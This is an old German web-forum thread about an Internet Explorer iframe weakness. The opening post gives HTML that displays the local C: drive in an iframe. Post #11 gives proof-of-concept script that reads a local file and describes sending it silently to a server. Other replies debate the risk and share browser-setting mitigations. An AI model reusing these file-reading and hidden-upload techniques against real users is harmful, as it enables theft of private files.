<iframe> Hackers best Friend

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • <iframe> Hackers best Friend

    Ich möchte hier nur im Ansatz demonstrieren wie einfach es der IExplorer es macht:

    <HTML>
    </HEAD>
    <BODY><h2>Dein Laufwerk C:\</h2>
    <iframe src="file:///C|/" height=400></iframe>
    </BODY>
    </HTML>

    Diese Infos können, das brauch ich hier wohl nicht erwähnen, mit einfachen Mitteln an einen Webserver übermittelt werden. Auch das Auslesen von Dateinhalten ist möglich. Mit width=0 height=0 kann das sogar versteckt geschehen.

    Test it


  • #2
    vielen dank sagen jetzt alle, die schon immer mal auf daten-klau tour gehen wollten, aber nicht wussten wie
    h.a.n.d.
    Schmalle

    http://impressed.by
    http://blog.schmalenberger.it



    Wichtige Anmerkung: Ich habe keine Probleme mit Alkohol ...
    ... nur ohne :-)

    Kommentar


    • #3
      Ein wenig mehr gehört schon dazu um aus diesem Ansatz was zu machen.

      Wer will findet Wege, wer nicht will findet Gründe.

      Kommentar


      • #4
        dann wollen wir mal hoffen, das berni diesen thread nicht liest .... sonst muss ich nämlich auf netscape umsteigen *würg*
        h.a.n.d.
        Schmalle

        http://impressed.by
        http://blog.schmalenberger.it



        Wichtige Anmerkung: Ich habe keine Probleme mit Alkohol ...
        ... nur ohne :-)

        Kommentar


        • #5
          Hi,

          das hängt aber auch stark von den Sicherheitseinstellungen im Browser, OS, Netz, Proxy/Firewall ab, ob du so an client-c kommst.Da gibt heiklere Tricks...

          Ein gutes Buch zu diesen Thema ist der "Neue Hackers-Guide" von 'Markt und Technik' 89,- DM.
          Yuppi, endlich Elite ...

          Kommentar


          • #6
            @schmalle
            pech gehabt,pech gehabt hab's gelesen

            Deine Dateinen gehören jetzt mit!

            Berni

            php-Entwicklung | ebiz-consult.de
            PHP-Webhosting für PHP Entwickler | ebiz-webhosting.de
            die PHP Marktplatz-Software | ebiz-trader.de

            Kommentar


            • #7
              hab meiner firewall gerade gesgt: "ignore @berni" ... mal sehen, ob´s hilft
              h.a.n.d.
              Schmalle

              http://impressed.by
              http://blog.schmalenberger.it



              Wichtige Anmerkung: Ich habe keine Probleme mit Alkohol ...
              ... nur ohne :-)

              Kommentar


              • #8
                @blaster
                Dann stell <iframe> mal beim IExplorer ab!

                Damit das eigentliche Auslesen und Übertragen wirklich funktioniert, muß Scripting deaktiviert sein, was aber das Surfen zu enem sehr eingschränkten Unterfangen macht. Eine Firewall kann Dir das nicht blocken, es sei denn Du blockst POST und GET Requests

                Wenn Du es geschafft hast <iframe> zu deaktivieren, weil dann kann ja Scripting aktiviert bleiben, gib mir bitte bescheid. Die Lösung würde mich interessieren.

                Meine Lösung einstweilen, IExplorer über Personal Firewall blocken

                Kommentar


                • #9
                  So schlimm mit dem Iframe ist doch das auch nicht....

                  Das ganze mit dem Verzeichnis deiner Platte anschauen, funktioniert ja nur bei lokal ausgeführtem Javascriptbefehl.
                  Das heisst, nur du kiannst deine Verzeichnisse und Datein sehen. Ein anderer kann diesen Befehl so einfach nicht benutzen, um deine Dateien auszulesen. Der müsste die dann irgendwie speichern in einer Datei oder so...und es dann noch schaffen, diese zu übertragen.

                  ---^_-(oOOo)-_^---
                  ° Tgod °
                  ------------------
                  www.twintech.de

                  Kommentar


                  • #10
                    hmm,

                    ich benutz einfach Netscape dann umschiffe ich die ganze Sache.

                    Kommentar


                    • #11
                      @Tgod
                      Das ist ja nur ein Sample! Über <iframe> kann man natürlich auch Fileinhalte auslesen über Javascript in ein Formularfeld laden und wenn man will auch noch ohne daß der Benutzer auf submit drückt an den Server übermitteln.
                      Aber das habe ich im Einleitungsthread bereits geschrieben, aber nicht beschrieben, das stimmt.
                      Es ist aber ein Zehnzeiler, inklusive <html> und </html> Tags. Im Prinzip kann man das Fileupload so umgehen und kann, weil das ja bei File unterbunden wird den Filenamen vorbelegen. Es geht im Prinzip nur darum, daß man sich der Möglichkeiten bewußt ist.

                      Leg ein File test.txt auf C:\ ab un probiers
                      Code:
                      <IFRAME ID="I1"></IFRAME> 
                      <SCRIPT for=I1 event="NavigateComplete2(b)"> 
                      alert("Here is your file:\n"+b.document.body.innerText); 
                      </SCRIPT> 
                      <SCRIPT> 
                      I1.navigate("file://c:/test.txt"); 
                      setTimeout('I1.navigate("file://c:/test.txt")',1000); 
                      </SCRIPT>
                      Das ganze läuft unter "IE 5 Cross-frame security vulnerability using IFRAME".

                      Kommentar


                      • #12
                        @hand:
                        Internetoption->Sicherheit->Stufe anpassen->Programe und Dateien in IFrame starten auf deaktivieren
                        Yuppi, endlich Elite ...

                        Kommentar


                        • #13
                          @Blaster
                          Genial!

                          Und wieder habe ich dazugelernt.

                          Kommentar


                          • #14
                            Programme und Dateien in eineM IFRAME starten habe ich deaktiviert. Diese Einstellung zieht aber nicht
                            Wieder was dazugelernt

                            Kommentar


                            • #15
                              Setzt das nicht voraus, dass der entsprechende nutzer genau die genannte datei besitzen muss? und welche standard datei kann wohl so interessant sein, hmm? Also mir fällt keine ein. Hab auf meiner HP übrigens den Iframe auch, aber das Fileübertragen FUNZT NET... Hab den transfer zwar jetzt auch net mehr drauf, aber funzen tut es nich... Das einzige is der tolle staun-effekt. Denn es ist und bleibt ein lokal ausgeführtes skript.
                              Life long and prosper.

                              Kommentar

                              Lädt...
                              X